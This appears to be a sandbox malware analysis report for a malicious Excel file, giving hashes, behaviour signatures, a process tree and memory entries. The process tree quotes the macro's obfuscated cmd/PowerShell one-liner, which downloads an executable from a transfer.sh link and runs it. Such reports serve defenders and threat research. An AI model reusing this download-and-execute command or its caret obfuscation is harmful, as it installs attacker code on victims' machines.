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Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/10/2023, 23:54

General

  • Target

    bc127ab9ae2605214e214b69cda0597477f8bc4b903d5215dd9e221cda0991b5.xls

  • Size

    100KB

  • MD5

    5014be5bf154ed9bbfe3b5868ad702d1

  • SHA1

    1ccadf970129812badcb86515d286ff1d6dd5200

  • SHA256

    bc127ab9ae2605214e214b69cda0597477f8bc4b903d5215dd9e221cda0991b5

  • SHA512

    486ae1acfb7c80b279dcdcf254d4e797ed6e7d146f2de5634584e4d995944ab6923ab747733bea85ae0bb39fa1be468e5f74cb9fd010e09a69c59279bbeed3a2

  • SSDEEP

    3072:5rxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAQtJE2zuxq+fr9wBLa71ba2ryLTHeYE:BxEtjPOtioVjDGUU1qfDlavx+W2QnAsF

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bc127ab9ae2605214e214b69cda0597477f8bc4b903d5215dd9e221cda0991b5.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3244
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/JWNONUaUMt/Egrome.e^xe -o C:\Users\Public\z3usy.exe;C:\Users\Public\z3usy.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2904
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell /W 01 curl https://transfer.sh/get/JWNONUaUMt/Egrome.exe -o C:\Users\Public\z3usy.exe;C:\Users\Public\z3usy.exe
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3204

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qv0rhb41.tr4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3204-50-0x00007FFD67480000-0x00007FFD67F41000-memory.dmp

    Filesize

    10.8MB

  • memory/3204-43-0x000001CBD6400000-0x000001CBD6BA6000-memory.dmp

    Filesize

    7.6MB

  • memory/3204-41-0x000001CBBD0B0000-0x000001CBBD0C0000-memory.dmp

    Filesize

    64KB

  • memory/3204-42-0x000001CBBD0B0000-0x000001CBBD0C0000-memory.dmp

    Filesize

    64KB

  • memory/3204-40-0x00007FFD67480000-0x00007FFD67F41000-memory.dmp

    Filesize

    10.8MB

  • memory/3204-38-0x000001CBBD0C0000-0x000001CBBD0E2000-memory.dmp

    Filesize

    136KB

  • memory/3244-7-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3244-28-0x000001C79C490000-0x000001C79D460000-memory.dmp

    Filesize

    15.8MB

  • memory/3244-9-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3244-10-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3244-11-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3244-12-0x00007FFD50730000-0x00007FFD50740000-memory.dmp

    Filesize

    64KB

  • memory/3244-13-0x00007FFD50730000-0x00007FFD50740000-memory.dmp

    Filesize

    64KB

  • memory/3244-26-0x000001C79C490000-0x000001C79D460000-memory.dmp

    Filesize

    15.8MB

  • memory/3244-27-0x000001C79C490000-0x000001C79D460000-memory.dmp

    Filesize

    15.8MB

  • memory/3244-3-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

    Filesize

    64KB

  • memory/3244-8-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

    Filesize

    64KB

  • memory/3244-1-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3244-5-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3244-6-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

    Filesize

    64KB

  • memory/3244-4-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3244-2-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

    Filesize

    64KB

  • memory/3244-46-0x000001C79C490000-0x000001C79D460000-memory.dmp

    Filesize

    15.8MB

  • memory/3244-49-0x000001C79C490000-0x000001C79D460000-memory.dmp

    Filesize

    15.8MB

  • memory/3244-0-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

    Filesize

    64KB

  • memory/3244-51-0x000001C79C490000-0x000001C79D460000-memory.dmp

    Filesize

    15.8MB